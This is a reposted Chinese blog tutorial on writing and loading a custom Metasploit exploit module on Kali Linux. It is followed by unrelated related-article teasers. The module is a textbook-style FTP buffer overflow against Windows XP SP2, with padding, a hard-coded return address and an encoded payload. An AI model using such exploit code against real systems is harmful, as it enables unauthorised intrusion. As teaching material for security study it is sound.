转载:https://blog.csdn.net/SilverMagic/article/details/40978081

  • 首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest

  • 仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)
  1.  
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# ls
  2.  
    0day1.rb
  3.  
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# cat 0day1.rb
  4.  
    ##
  5.  
    # This module requires Metasploit: http//metasploit.com/download
  6.  
    # Current source: https://github.com/rapid7/metasploit-framework
  7.  
    ##
  8.  
    require 'msf/core'
  9.  
    class Metasploit3 < Msf::Exploit::Remote
  10.  
    include Msf::Exploit::Remote::Ftp
  11.  
    def initialize(info = {})
  12.  
    super(update_info(info,
  13.  
    'Name' => 'security test',
  14.  
    'Description' => %q{
  15.  
    This module exploits a buffer overflow.
  16.  
    },
  17.  
    'Author' => 'fwd',
  18.  
    'License' => MSF_LICENSE,
  19.  
    'Privileged' => true,
  20.  
    'Payload' =>
  21.  
    {
  22.  
    'Space' => 300,
  23.  
    'BadChars' => "\x00",
  24.  
    },
  25.  
    'Platform' => 'win',
  26.  
    'Targets' =>
  27.  
    [
  28.  
    [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7c809f83 } ],
  29.  
    ]))
  30.  
    end
  31.  
     
  32.  
    def exploit
  33.  
    connect
  34.  
    attack_buf = 'a'*200
  35.  
    attack_buf += [target.ret].pack('V')
  36.  
    attack_buf += payload.encoded
  37.  
    sock.put(attack_buf)
  38.  
    handler
  39.  
    disconnect
  40.  
    end
  41.  
    end
  42.  
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest#
  • 在控制台下启动metasploit

  • 在msf提示符下输入reload_all重新加载所有模块

  • 在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全,如果不能补全说明就有问题)

给kali的Metasploit下添加一个新的exploit的更多相关文章

  1. Flink资料(6) -- 如何添加一个新的Operator

    false false false false EN-US ZH-CN X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-n ...

  2. Linux 在添加一个新账号后却没有权限怎么办

    当添加一个新账号后,我们可能会发现新账号sudo 时会报告不在sudoers中,使用su -s时输入密码后也会认证失败 上网搜索大部分都要求修改/etc/sudoers中的内容,但修改这个文件必须需要 ...

  3. Mysql学习(一)添加一个新的用户并用golang操作Mysql

    Mysql添加一个新的用户并赋予权限 添加一个自己的用户到mysql 首先我们需要先用root用户登录mysql,但是刚安装完没有密码,我们先跳过密码 ailumiyana@ailumiyana:~/ ...

  4. RK平台Android4.4 添加一个新的遥控器支持以及添加特殊按键【转】

    本文转载自:http://blog.csdn.net/coding__madman/article/details/52904063 版权声明:本文为博主原创文章,未经博主允许不得转载. 瑞芯微平台 ...

  5. 012.Adding a New Field --【添加一个新字段】

    Adding a New Field 添加一个新字段 2016-10-14 3 分钟阅读时长 作者 By Rick Anderson In this section you'll use Entity ...

  6. 【IntelliJ IDEA】添加一个新的tomcat,tomcat启动无法访问欢迎页面,空白页,404

    ===================================第一部分,添加一个tomcat================================================== ...

  7. 【转】windows7的桌面右键菜单的“新建”子菜单,在注册表哪个位置,如何在“新建"里面添加一个新项

    点击桌面,就会弹出菜单,然后在“新建”中就又弹出可以新建的子菜单栏.office与txt 的新建都是在这里面的.我想做的事情是:在右键菜单的“新建” 中添加一个“TQ文本”的新建项,然后点击它之后,桌 ...

  8. linux采用模块方法,添加一个新的设备

    该文转载自:http://rangercyh.blog.51cto.com/1444712/521244 系统调用是操作系统内核和应用程序之间的接口,而设备驱动程序是操作系统内核和机器硬件之间的接口. ...

  9. Android4.0 添加一个新的Android 键值

    这里添加新的键值,不是毫无凭据凭空创造的一个键值,而是根据kernel中检测到的按键值,然后转化为Android所需要的数值: 以添加一个Linux键值为217,把它映射为android的键值Brow ...

随机推荐

  1. ElasticSearch(十三):Spring Data ElasticSearch 的使用(三)——NativeSearchQuery 高亮查询

    在Elasticsearch的实际应用中,经常需要将匹配到的结果字符进行高亮显示,此处采取NativeSearchQuery原生查询的方法,实现查询结果的高亮显示. /** * 高亮查询 */ @Te ...

  2. MATLAB问题小集合

    1.未定义与 'struct' 类型的输入参数相对应的函数 'tb_optparse' 在运行matlab程序时,出现上述错误. 原因是tb_optparse在common文件夹里面,没在robot文 ...

  3. Beyond Compare设置自定义过滤

    Beyond Compare是一款优秀的专业级文件比较软件,利用它可以快速比较出文件之间的差异,以便于修改.整合.其中较强大的功能之一就是文件夹比较,面对海量的子文件夹以及文件,Beyond Comp ...

  4. 阶段性项目 ATM+购物车项目

    ATM + 购物车https://www.cnblogs.com/kermitjam/articles/10687180.html readme 内容前戏: 一个项目是如何从无到有的. 一 需求分析 ...

  5. python基础语法11 内置模块time,datatime,random,os,sys,hashlib模块

    time模块 在python的三种时间表现形式: 1.时间戳: 给电脑看的. - 自1970-01-01 00:00:00到当前时间,按秒计算,计算了多少秒. 2.格式化时间(Format Strin ...

  6. 五个wordpress调用随机文章的方法

    分享几个WordPress不用插件调用随机文章的方法,不仅增强用户粘性,而且当蜘蛛来爬你的文章的时候每次都会有变化,搜索引擎很喜欢.主要用到的是orderby rand参数,下面就随ytkah一起来看 ...

  7. python--模块学习之xml模块

    xml即可扩展标记语言,它可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言. 本文主要学习的ElementTree是python的XML处理模块,它提供了一个轻量级的对象 ...

  8. 基于Docker搭建GitLab代码管理

    关于Git.SVN的优缺点就不再重复了,本篇主要以实际搭建为主. 1.下载镜像文件 在命令行窗口执行如下指令,预计下载完成4分钟. docker pull beginor/gitlab-ce:11.0 ...

  9. 开发(一) ardunio环境配置 针对esp32-cam 更多例程

    第一种  简单版本,针对获取mpu9250数据, http://www.bubuko.com/infodetail-3093785.html 第二种 浮渣版本,针对ESP32获取图像,以及跟多开发例程 ...

  10. [Algorithm] 350. Intersection of Two Arrays II

    Given two arrays, write a function to compute their intersection. Example 1: Input: nums1 = [1,2,2,1 ...